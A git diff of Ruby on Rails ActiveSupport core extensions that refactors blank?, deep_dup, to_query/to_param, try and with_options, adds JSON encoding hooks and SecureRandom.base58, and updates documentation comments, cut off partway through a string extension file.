diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index 8a5eb4bc93..38e43478df 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -4,36 +4,42 @@ class Object
   # An object is blank if it's false, empty, or a whitespace string.
   # For example, '', '   ', +nil+, [], and {} are all blank.
   #
-  # This simplifies:
+  # This simplifies
   #
-  #   if address.nil? || address.empty?
+  #   address.nil? || address.empty?
   #
-  # ...to:
+  # to
   #
-  #   if address.blank?
+  #   address.blank?
+  #
+  # @return [true, false]
   def blank?
-    respond_to?(:empty?) ? empty? : !self
+    respond_to?(:empty?) ? !!empty? : !self
   end
 
-  # An object is present if it's not <tt>blank?</tt>.
+  # An object is present if it's not blank.
+  #
+  # @return [true, false]
   def present?
     !blank?
   end
 
-  # Returns object if it's <tt>present?</tt> otherwise returns +nil+.
-  # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>.
+  # Returns the receiver if it's present otherwise returns +nil+.
+  # <tt>object.presence</tt> is equivalent to
   #
-  # This is handy for any representation of objects where blank is the same
-  # as not present at all. For example, this simplifies a common check for
-  # HTTP POST/query parameters:
+  #    object.present? ? object : nil
+  #
+  # For example, something like
   #
   #   state   = params[:state]   if params[:state].present?
   #   country = params[:country] if params[:country].present?
   #   region  = state || country || 'US'
   #
-  # ...becomes:
+  # becomes
   #
   #   region = params[:state].presence || params[:country].presence || 'US'
+  #
+  # @return [Object]
   def presence
     self if present?
   end
@@ -43,6 +49,8 @@ class NilClass
   # +nil+ is blank:
   #
   #   nil.blank? # => true
+  #
+  # @return [true]
   def blank?
     true
   end
@@ -52,6 +60,8 @@ class FalseClass
   # +false+ is blank:
   #
   #   false.blank? # => true
+  #
+  # @return [true]
   def blank?
     true
   end
@@ -61,6 +71,8 @@ class TrueClass
   # +true+ is not blank:
   #
   #   true.blank? # => false
+  #
+  # @return [false]
   def blank?
     false
   end
@@ -71,6 +83,8 @@ class Array
   #
   #   [].blank?      # => true
   #   [1,2,3].blank? # => false
+  #
+  # @return [true, false]
   alias_method :blank?, :empty?
 end
 
@@ -79,18 +93,28 @@ class Hash
   #
   #   {}.blank?                # => true
   #   { key: 'value' }.blank?  # => false
+  #
+  # @return [true, false]
   alias_method :blank?, :empty?
 end
 
 class String
+  BLANK_RE = /\A[[:space:]]*\z/
+
   # A string is blank if it's empty or contains whitespaces only:
   #
-  #   ''.blank?                 # => true
-  #   '   '.blank?              # => true
-  #   '　'.blank?               # => true
-  #   ' something here '.blank? # => false
+  #   ''.blank?       # => true
+  #   '   '.blank?    # => true
+  #   "\t\n\r".blank? # => true
+  #   ' blah '.blank? # => false
+  #
+  # Unicode whitespace is supported:
+  #
+  #   "\u00a0".blank? # => true
+  #
+  # @return [true, false]
   def blank?
-    self !~ /[^[:space:]]/
+    BLANK_RE === self
   end
 end
 
@@ -99,6 +123,8 @@ class Numeric #:nodoc:
   #
   #   1.blank? # => false
   #   0.blank? # => false
+  #
+  # @return [false]
   def blank?
     false
   end
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
index 1d639f3af6..0191d2e973 100644
--- a/activesupport/lib/active_support/core_ext/object/deep_dup.rb
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -8,8 +8,8 @@ class Object
   #   dup    = object.deep_dup
   #   dup.instance_variable_set(:@a, 1)
   #
-  #   object.instance_variable_defined?(:@a) #=> false
-  #   dup.instance_variable_defined?(:@a)    #=> true
+  #   object.instance_variable_defined?(:@a) # => false
+  #   dup.instance_variable_defined?(:@a)    # => true
   def deep_dup
     duplicable? ? dup : self
   end
@@ -22,10 +22,10 @@ class Array
   #   dup   = array.deep_dup
   #   dup[1][2] = 4
   #
-  #   array[1][2] #=> nil
-  #   dup[1][2]   #=> 4
+  #   array[1][2] # => nil
+  #   dup[1][2]   # => 4
   def deep_dup
-    map { |it| it.deep_dup }
+    map(&:deep_dup)
   end
 end
 
@@ -36,8 +36,8 @@ class Hash
   #   dup  = hash.deep_dup
   #   dup[:a][:c] = 'c'
   #
-  #   hash[:a][:c] #=> nil
-  #   dup[:a][:c]  #=> "c"
+  #   hash[:a][:c] # => nil
+  #   dup[:a][:c]  # => "c"
   def deep_dup
     each_with_object(dup) do |(key, value), hash|
       hash[key.deep_dup] = value.deep_dup
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index 9cd7485e2e..620f7b6561 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -19,7 +19,7 @@
 class Object
   # Can you safely dup this object?
   #
-  # False for +nil+, +false+, +true+, symbol, and number objects;
+  # False for +nil+, +false+, +true+, symbol, number objects;
   # true otherwise.
   def duplicable?
     true
@@ -78,13 +78,17 @@ end
 
 require 'bigdecimal'
 class BigDecimal
-  begin
-    BigDecimal.new('4.56').dup
+  def duplicable?
+    true
+  end
+end
 
-    def duplicable?
-      true
-    end
-  rescue TypeError
-    # can't dup, so use superclass implementation
+class Method
+  # Methods are not duplicable:
+  #
+  #  method(:puts).duplicable? # => false
+  #  method(:puts).dup         # => TypeError: allocator undefined for Method
+  def duplicable?
+    false
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index b5671f66d0..55f281b213 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -12,4 +12,16 @@ class Object
   rescue NoMethodError
     raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
   end
+
+  # Returns the receiver if it's included in the argument otherwise returns +nil+.
+  # Argument must be any object which responds to +#include?+. Usage:
+  #
+  #   params[:bucket_type].presence_in %w( project calendar )
+  #
+  # This will throw an ArgumentError if the argument doesn't respond to +#include?+.
+  #
+  # @return [Object]
+  def presence_in(another_object)
+    self.in?(another_object) ? self : nil
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
index 755e1c6b16..593a7a4940 100644
--- a/activesupport/lib/active_support/core_ext/object/instance_variables.rb
+++ b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
@@ -23,6 +23,6 @@ class Object
   #
   #   C.new(0, 1).instance_variable_names # => ["@y", "@x"]
   def instance_variable_names
-    instance_variables.map { |var| var.to_s }
+    instance_variables.map(&:to_s)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
new file mode 100644
index 0000000000..698b2d1920
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -0,0 +1,197 @@
+# Hack to load json gem first so we can overwrite its to_json.
+require 'json'
+require 'bigdecimal'
+require 'active_support/core_ext/big_decimal/conversions' # for #to_s
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/instance_variables'
+require 'time'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/module/aliasing'
+
+# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
+# their default behavior. That said, we need to define the basic to_json method in all of them,
+# otherwise they will always use to_json gem implementation, which is backwards incompatible in
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
+# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+#
+# On the other hand, we should avoid conflict with ::JSON.{generate,dump}(obj). Unfortunately, the
+# JSON gem's encoder relies on its own to_json implementation to encode objects. Since it always
+# passes a ::JSON::State object as the only argument to to_json, we can detect that and forward the
+# calls to the original to_json method.
+#
+# It should be noted that when using ::JSON.{generate,dump} directly, ActiveSupport's encoder is
+# bypassed completely. This means that as_json won't be invoked and the JSON gem will simply
+# ignore any options it does not natively understand. This also means that ::JSON.{generate,dump}
+# should give exactly the same results with or without active support.
+[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].each do |klass|
+  klass.class_eval do
+    def to_json_with_active_support_encoder(options = nil)
+      if options.is_a?(::JSON::State)
+        # Called from JSON.{generate,dump}, forward it to JSON gem's to_json
+        self.to_json_without_active_support_encoder(options)
+      else
+        # to_json is being invoked directly, use ActiveSupport's encoder
+        ActiveSupport::JSON.encode(self, options)
+      end
+    end
+
+    alias_method_chain :to_json, :active_support_encoder
+  end
+end
+
+class Object
+  def as_json(options = nil) #:nodoc:
+    if respond_to?(:to_hash)
+      to_hash.as_json(options)
+    else
+      instance_values.as_json(options)
+    end
+  end
+end
+
+class Struct #:nodoc:
+  def as_json(options = nil)
+    Hash[members.zip(values)].as_json(options)
+  end
+end
+
+class TrueClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class FalseClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class NilClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class String
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Symbol
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Numeric
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Float
+  # Encoding Infinity or NaN to JSON should return "null". The default returns
+  # "Infinity" or "NaN" which are not valid JSON.
+  def as_json(options = nil) #:nodoc:
+    finite? ? self : nil
+  end
+end
+
+class BigDecimal
+  # A BigDecimal would be naturally represented as a JSON number. Most libraries,
+  # however, parse non-integer JSON numbers directly as floats. Clients using
+  # those libraries would get in general a wrong number and no way to recover
+  # other than manually inspecting the string with the JSON code itself.
+  #
+  # That's why a JSON string is returned. The JSON literal is not numeric, but
+  # if the other end knows by contract that the data is supposed to be a
+  # BigDecimal, it still has the chance to post-process the string and get the
+  # real value.
+  def as_json(options = nil) #:nodoc:
+    finite? ? to_s : nil
+  end
+end
+
+class Regexp
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+module Enumerable
+  def as_json(options = nil) #:nodoc:
+    to_a.as_json(options)
+  end
+end
+
+class Range
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Array
+  def as_json(options = nil) #:nodoc:
+    map { |v| options ? v.as_json(options.dup) : v.as_json }
+  end
+end
+
+class Hash
+  def as_json(options = nil) #:nodoc:
+    # create a subset of the hash by applying :only or :except
+    subset = if options
+      if attrs = options[:only]
+        slice(*Array(attrs))
+      elsif attrs = options[:except]
+        except(*Array(attrs))
+      else
+        self
+      end
+    else
+      self
+    end
+
+    Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
+  end
+end
+
+class Time
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+    else
+      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+    end
+  end
+end
+
+class Date
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      strftime("%Y-%m-%d")
+    else
+      strftime("%Y/%m/%d")
+    end
+  end
+end
+
+class DateTime
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+    else
+      strftime('%Y/%m/%d %H:%M:%S %z')
+    end
+  end
+end
+
+class Process::Status #:nodoc:
+  def as_json(options = nil)
+    { :exitstatus => exitstatus, :pid => pid }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
deleted file mode 100644
index 83cc8066e7..0000000000
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# Hack to load json gem first so we can overwrite its to_json.
-begin
-  require 'json'
-rescue LoadError
-end
-
-# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
-# their default behavior. That said, we need to define the basic to_json method in all of them,
-# otherwise they will always use to_json gem implementation, which is backwards incompatible in
-# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
-# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
-[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
-  klass.class_eval do
-    # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
-    def to_json(options = nil)
-      ActiveSupport::JSON.encode(self, options)
-    end
-  end
-end
-
-module Process
-  class Status
-    def as_json(options = nil)
-      { :exitstatus => exitstatus, :pid => pid }
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
index 3b137ce6ae..684d4ef57e 100644
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -1,58 +1 @@
-class Object
-  # Alias of <tt>to_s</tt>.
-  def to_param
-    to_s
-  end
-end
-
-class NilClass
-  # Returns +self+.
-  def to_param
-    self
-  end
-end
-
-class TrueClass
-  # Returns +self+.
-  def to_param
-    self
-  end
-end
-
-class FalseClass
-  # Returns +self+.
-  def to_param
-    self
-  end
-end
-
-class Array
-  # Calls <tt>to_param</tt> on all its elements and joins the result with
-  # slashes. This is used by <tt>url_for</tt> in Action Pack.
-  def to_param
-    collect { |e| e.to_param }.join '/'
-  end
-end
-
-class Hash
-  # Returns a string representation of the receiver suitable for use as a URL
-  # query string:
-  #
-  #   {name: 'David', nationality: 'Danish'}.to_param
-  #   # => "name=David&nationality=Danish"
-  #
-  # An optional namespace can be passed to enclose the param names:
-  #
-  #   {name: 'David', nationality: 'Danish'}.to_param('user')
-  #   # => "user[name]=David&user[nationality]=Danish"
-  #
-  # The string pairs "key=value" that conform the query string
-  # are sorted lexicographically in ascending order.
-  #
-  # This method is also aliased as +to_query+.
-  def to_param(namespace = nil)
-    collect do |key, value|
-      value.to_query(namespace ? "#{namespace}[#{key}]" : key)
-    end.sort! * '&'
-  end
-end
+require 'active_support/core_ext/object/to_query'
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index 5d5fcf00e0..ec5ace4e16 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -1,27 +1,84 @@
-require 'active_support/core_ext/object/to_param'
+require 'cgi'
 
 class Object
-  # Converts an object into a string suitable for use as a URL query string, using the given <tt>key</tt> as the
-  # param name.
-  #
-  # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
+  # Alias of <tt>to_s</tt>.
+  def to_param
+    to_s
+  end
+
+  # Converts an object into a string suitable for use as a URL query string,
+  # using the given <tt>key</tt> as the param name.
   def to_query(key)
-    require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
     "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
   end
 end
 
+class NilClass
+  # Returns +self+.
+  def to_param
+    self
+  end
+end
+
+class TrueClass
+  # Returns +self+.
+  def to_param
+    self
+  end
+end
+
+class FalseClass
+  # Returns +self+.
+  def to_param
+    self
+  end
+end
+
 class Array
+  # Calls <tt>to_param</tt> on all its elements and joins the result with
+  # slashes. This is used by <tt>url_for</tt> in Action Pack.
+  def to_param
+    collect(&:to_param).join '/'
+  end
+
   # Converts an array into a string suitable for use as a URL query string,
   # using the given +key+ as the param name.
   #
   #   ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
   def to_query(key)
     prefix = "#{key}[]"
-    collect { |value| value.to_query(prefix) }.join '&'
+
+    if empty?
+      nil.to_query(prefix)
+    else
+      collect { |value| value.to_query(prefix) }.join '&'
+    end
   end
 end
 
 class Hash
-  alias_method :to_query, :to_param
+  # Returns a string representation of the receiver suitable for use as a URL
+  # query string:
+  #
+  #   {name: 'David', nationality: 'Danish'}.to_query
+  #   # => "name=David&nationality=Danish"
+  #
+  # An optional namespace can be passed to enclose key names:
+  #
+  #   {name: 'David', nationality: 'Danish'}.to_query('user')
+  #   # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+  #
+  # The string pairs "key=value" that conform the query string
+  # are sorted lexicographically in ascending order.
+  #
+  # This method is also aliased as +to_param+.
+  def to_query(namespace = nil)
+    collect do |key, value|
+      unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
+        value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+      end
+    end.compact.sort! * '&'
+  end
+
+  alias_method :to_param, :to_query
 end
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index 534bbe3c42..e0f70b9caa 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -9,7 +9,23 @@ class Object
   #
   # instead of
   #
-  #   @person ? @person.name : nil
+  #   @person.name if @person
+  #
+  # +try+ calls can be chained:
+  #
+  #   @person.try(:spouse).try(:name)
+  #
+  # instead of
+  #
+  #   @person.spouse.name if @person && @person.spouse
+  #
+  # +try+ will also return +nil+ if the receiver does not respond to the method:
+  #
+  #   @person.try(:non_existing_method) # => nil
+  #
+  # instead of
+  #
+  #   @person.non_existing_method if @person.respond_to?(:non_existing_method) # => nil
   #
   # +try+ returns +nil+ when called on +nil+ regardless of whether it responds
   # to the method:
@@ -24,7 +40,7 @@ class Object
   #
   # The number of arguments in the signature must match. If the object responds
   # to the method the call is attempted and +ArgumentError+ is still raised
-  # otherwise.
+  # in case of argument mismatch.
   #
   # If +try+ is called without arguments it yields the receiver to a given
   # block unless it is +nil+:
@@ -33,24 +49,33 @@ class Object
   #     ...
   #   end
   #
-  # Please also note that +try+ is defined on +Object+, therefore it won't work
+  # You can also call try with a block without accepting an argument, and the block
+  # will be instance_eval'ed instead:
+  #
+  #   @person.try { upcase.truncate(50) }
+  #
+  # Please also note that +try+ is defined on +Object+. Therefore, it won't work
   # with instances of classes that do not have +Object+ among their ancestors,
   # like direct subclasses of +BasicObject+. For example, using +try+ with
   # +SimpleDelegator+ will delegate +try+ to the target instead of calling it on
-  # delegator itself.
+  # the delegator itself.
   def try(*a, &b)
-    if a.empty? && block_given?
-      yield self
-    else
-      public_send(*a, &b) if respond_to?(a.first)
-    end
+    try!(*a, &b) if a.empty? || respond_to?(a.first)
   end
 
-  # Same as #try, but will raise a NoMethodError exception if the receiving is not nil and
-  # does not implemented the tried method.
+  # Same as #try, but raises a NoMethodError exception if the receiver is
+  # not +nil+ and does not implement the tried method.
+  #
+  #   "a".try!(:upcase) # => "A"
+  #   nil.try!(:upcase) # => nil
+  #   123.try!(:upcase) # => NoMethodError: undefined method `upcase' for 123:Fixnum
   def try!(*a, &b)
     if a.empty? && block_given?
-      yield self
+      if b.arity.zero?
+        instance_eval(&b)
+      else
+        yield self
+      end
     else
       public_send(*a, &b)
     end
@@ -59,12 +84,12 @@ end
 
 class NilClass
   # Calling +try+ on +nil+ always returns +nil+.
-  # It becomes specially helpful when navigating through associations that may return +nil+.
+  # It becomes especially helpful when navigating through associations that may return +nil+.
   #
   #   nil.try(:name) # => nil
   #
   # Without +try+
-  #   @person && !@person.children.blank? && @person.children.first.name
+  #   @person && @person.children.any? && @person.children.first.name
   #
   # With +try+
   #   @person.try(:children).try(:first).try(:name)
@@ -72,6 +97,9 @@ class NilClass
     nil
   end
 
+  # Calling +try!+ on +nil+ always returns +nil+.
+  #
+  #   nil.try!(:name) # => nil
   def try!(*args)
     nil
   end
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
index 42e388b065..7d38e1d134 100644
--- a/activesupport/lib/active_support/core_ext/object/with_options.rb
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -34,9 +34,36 @@ class Object
   #     body    i18n.t :body, user_name: user.name
   #   end
   #
+  # When you don't pass an explicit receiver, it executes the whole block
+  # in merging options context:
+  #
+  #   class Account < ActiveRecord::Base
+  #     with_options dependent: :destroy do
+  #       has_many :customers
+  #       has_many :products
+  #       has_many :invoices
+  #       has_many :expenses
+  #     end
+  #   end
+  #
   # <tt>with_options</tt> can also be nested since the call is forwarded to its receiver.
-  # Each nesting level will merge inherited defaults in addition to their own.
-  def with_options(options)
-    yield ActiveSupport::OptionMerger.new(self, options)
+  #
+  # NOTE: Each nesting level will merge inherited defaults in addition to their own.
+  #
+  #   class Post < ActiveRecord::Base
+  #     with_options if: :persisted?, length: { minimum: 50 } do
+  #       validates :content, if: -> { content.present? }
+  #     end
+  #   end
+  #
+  # The code is equivalent to:
+  #
+  #   validates :content, length: { minimum: 50 }, if: -> { content.present? }
+  #
+  # Hence the inherited default for `if` key is ignored.
+  #
+  def with_options(options, &block)
+    option_merger = ActiveSupport::OptionMerger.new(self, options)
+    block.arity.zero? ? option_merger.instance_eval(&block) : block.call(option_merger)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
index 1d8b1ede5a..9368e81235 100644
--- a/activesupport/lib/active_support/core_ext/range.rb
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -1,3 +1,4 @@
 require 'active_support/core_ext/range/conversions'
 require 'active_support/core_ext/range/include_range'
 require 'active_support/core_ext/range/overlaps'
+require 'active_support/core_ext/range/each'
diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb
new file mode 100644
index 0000000000..ecef78f55f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/each.rb
@@ -0,0 +1,23 @@
+require 'active_support/core_ext/module/aliasing'
+
+class Range #:nodoc:
+
+  def each_with_time_with_zone(&block)
+    ensure_iteration_allowed
+    each_without_time_with_zone(&block)
+  end
+  alias_method_chain :each, :time_with_zone
+
+  def step_with_time_with_zone(n = 1, &block)
+    ensure_iteration_allowed
+    step_without_time_with_zone(n, &block)
+  end
+  alias_method_chain :step, :time_with_zone
+
+  private
+  def ensure_iteration_allowed
+    if first.is_a?(Time)
+      raise TypeError, "can't iterate from #{first.class}"
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/securerandom.rb b/activesupport/lib/active_support/core_ext/securerandom.rb
new file mode 100644
index 0000000000..6cdbea1f37
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/securerandom.rb
@@ -0,0 +1,23 @@
+require 'securerandom'
+
+module SecureRandom
+  BASE58_ALPHABET = ('0'..'9').to_a  + ('A'..'Z').to_a + ('a'..'z').to_a - ['0', 'O', 'I', 'l']
+  # SecureRandom.base58 generates a random base58 string.
+  #
+  # The argument _n_ specifies the length, of the random string to be generated.
+  #
+  # If _n_ is not specified or is nil, 16 is assumed. It may be larger in the future.
+  #
+  # The result may contain alphanumeric characters except 0, O, I and l
+  #
+  #   p SecureRandom.base58 #=> "4kUgL2pdQMSCQtjE"
+  #   p SecureRandom.base58(24) #=> "77TMHrHJFvFDwodq8w7Ev2m7"
+  #
+  def self.base58(n = 16)
+    SecureRandom.random_bytes(n).unpack("C*").map do |byte|
+      idx = byte % 64
+      idx = SecureRandom.random_number(58) if idx >= 58
+      BASE58_ALPHABET[idx]
+    end.join
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index ee3b6d2b3f..ebd0dd3fc7 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -8,22 +8,22 @@ class String
   # the beginning of the range is greater than the end of the string.
   #
   #   str = "hello"
-  #   str.at(0)      #=> "h"
-  #   str.at(1..3)   #=> "ell"
-  #   str.at(-2)     #=> "l"
-  #   str.at(-2..-1) #=> "lo"
-  #   str.at(5)      #=> nil
-  #   str.at(5..-1)  #=> ""
+  #   str.at(0)      # => "h"
+  #   str.at(1..3)   # => "ell"
+  #   str.at(-2)     # => "l"
+  #   str.at(-2..-1) # => "lo"
+  #   str.at(5)      # => nil
+  #   str.at(5..-1)  # => ""
   #
   # If a Regexp is given, the matching portion of the string is returned.
   # If a String is given, that given string is returned if it occurs in
   # the string. In both cases, nil is returned if there is no match.
   #
   #   str = "hello"
-  #   str.at(/lo/) #=> "lo"
-  #   str.at(/ol/) #=> nil
-  #   str.at("lo") #=> "lo"
-  #   str.at("ol") #=> nil
+  #   str.at(/lo/) # => "lo"
+  #   str.at(/ol/) # => nil
+  #   str.at("lo") # => "lo"
+  #   str.at("ol") # => nil
   def at(position)
     self[position]
   end
@@ -32,15 +32,15 @@ class String
   # If the position is negative, it is counted from the end of the string.
   #
   #   str = "hello"
-  #   str.from(0)  #=> "hello"
-  #   str.from(3)  #=> "lo"
-  #   str.from(-2) #=> "lo"
+  #   str.from(0)  # => "hello"
+  #   str.from(3)  # => "lo"
+  #   str.from(-2) # => "lo"
   #
   # You can mix it with +to+ method and do fun things like:
   #
   #   str = "hello"
-  #   str.from(0).to(-1) #=> "hello"
-  #   str.from(1).to(-2) #=> "ell"
+  #   str.from(0).to(-1) # => "hello"
+  #   str.from(1).to(-2) # => "ell"
   def from(position)
     self[position..-1]
   end
@@ -49,34 +49,34 @@ class String
   # If the position is negative, it is counted from the end of the string.
   #
   #   str = "hello"
-  #   str.to(0)  #=> "h"
-  #   str.to(3)  #=> "hell"
-  #   str.to(-2) #=> "hell"
+  #   str.to(0)  # => "h"
+  #   str.to(3)  # => "hell"
+  #   str.to(-2) # => "hell"
   #
   # You can mix it with +from+ method and do fun things like:
   #
   #   str = "hello"
-  #   str.from(0).to(-1) #=> "hello"
-  #   str.from(1).to(-2) #=> "ell"
+  #   str.from(0).to(-1) # => "hello"
+  #   str.from(1).to(-2) # => "ell"
   def to(position)
-    self[0, position + 1]
+    self[0..position]
   end
 
   # Returns the first character. If a limit is supplied, returns a substring
   # from the beginning of the string until it reaches the limit value. If the
-  # given limit is greater than or equal to the string length, returns self.
+  # given limit is greater than or equal to the string length, returns a copy of self.
   #
   #   str = "hello"
-  #   str.first    #=> "h"
-  #   str.first(1) #=> "h"
-  #   str.first(2) #=> "he"
-  #   str.first(0) #=> ""
-  #   str.first(6) #=> "hello"
+  #   str.first    # => "h"
+  #   str.first(1) # => "h"
+  #   str.first(2) # => "he"
+  #   str.first(0) # => ""
+  #   str.first(6) # => "hello"
   def first(limit = 1)
     if limit == 0
       ''
     elsif limit >= size
-      self
+      self.dup
     else
       to(limit - 1)
     end
@@ -84,19 +84,19 @@ class String
 
   # Returns the last character of the string. If a limit is supplied, returns a substring
   # from the end of the string until it reaches the limit value (counting backwards). If
-  # the given limit is greater than or equal to the string length, returns self.
+  # the given limit is greater than or equal to the string length, returns a copy of self.
   #
   #   str = "hello"
-  #   str.last    #=> "o"
-  #   str.last(1) #=> "o"
-  #   str.last(2) #=> "lo"
-  #   str.last(0) #=> ""
-  #   str.last(6) #=> "hello"
+  #   str.last    # => "o"
+  #   str.last(1) # => "o"
+  #   str.last(2) # => "lo"
+  #   str.last(0) # => ""
+  #   str.last(6) # => "hello"
   def last(limit = 1)
     if limit == 0
       ''
     elsif limit >= size
-      self
+      self.dup
     else
       from(-limit)
     end
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
index 6691fc0995..3e0cb8a7ac 100644
--- a/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -36,20 +36,20 @@ class String
 
   # Converts a string to a Date value.
   #
-  #   "1-1-2012".to_date   #=> Sun, 01 Jan 2012
-  #   "01/01/2012".to_date #=> Sun, 01 Jan 2012
-  #   "2012-12-13".to_date #=> Thu, 13 Dec 2012
-  #   "12/13/2012".to_date #=> ArgumentError: invalid date
+  #   "1-1-2012".to_date   # => Sun, 01 Jan 2012
+  #   "01/01/2012".to_date # => Sun, 01 Jan 2012
+  #   "2012-12-13".to_date # => Thu, 13 Dec 2012
+  #   "12/13/2012".to_date # => ArgumentError: invalid date
   def to_date
     ::Date.parse(self, false) unless blank?
   end
 
   # Converts a string to a DateTime value.
   #
-  #   "1-1-2012".to_datetime            #=> Sun, 01 Jan 2012 00:00:00 +0000
-  #   "01/01/2012 23:59:59".to_datetime #=> Sun, 01 Jan 2012 23:59:59 +0000
-  #   "2012-12-13 12:50".to_datetime    #=> Thu, 13 Dec 2012 12:50:00 +0000
-  #   "12/13/2012".to_datetime          #=> ArgumentError: invalid date
+  #   "1-1-2012".to_datetime            # => Sun, 01 Jan 2012 00:00:00 +0000
+  #   "01/01/2012 23:59:59".to_datetime # => Sun, 01 Jan 2012 23:59:59 +0000
+  #   "2012-12-13 12:50".to_datetime    # => Thu, 13 Dec 2012 12:50:00 +0000
+  #   "12/13/2012".to_datetime          # => ArgumentError: invalid date
   def to_datetime
     ::DateTime.parse(self, false) unless blank?
   end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
index 114bcb87f0..0ac684f6ee 100644
--- a/activesupport/lib/active_support/core_ext/string/exclude.rb
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -2,9 +2,9 @@ class String
   # The inverse of <tt>String#include?</tt>. Returns true if the string
   # does not include the other string.
   #
-  #   "hello".exclude? "lo" #=> false
-  #   "hello".exclude? "ol" #=> true
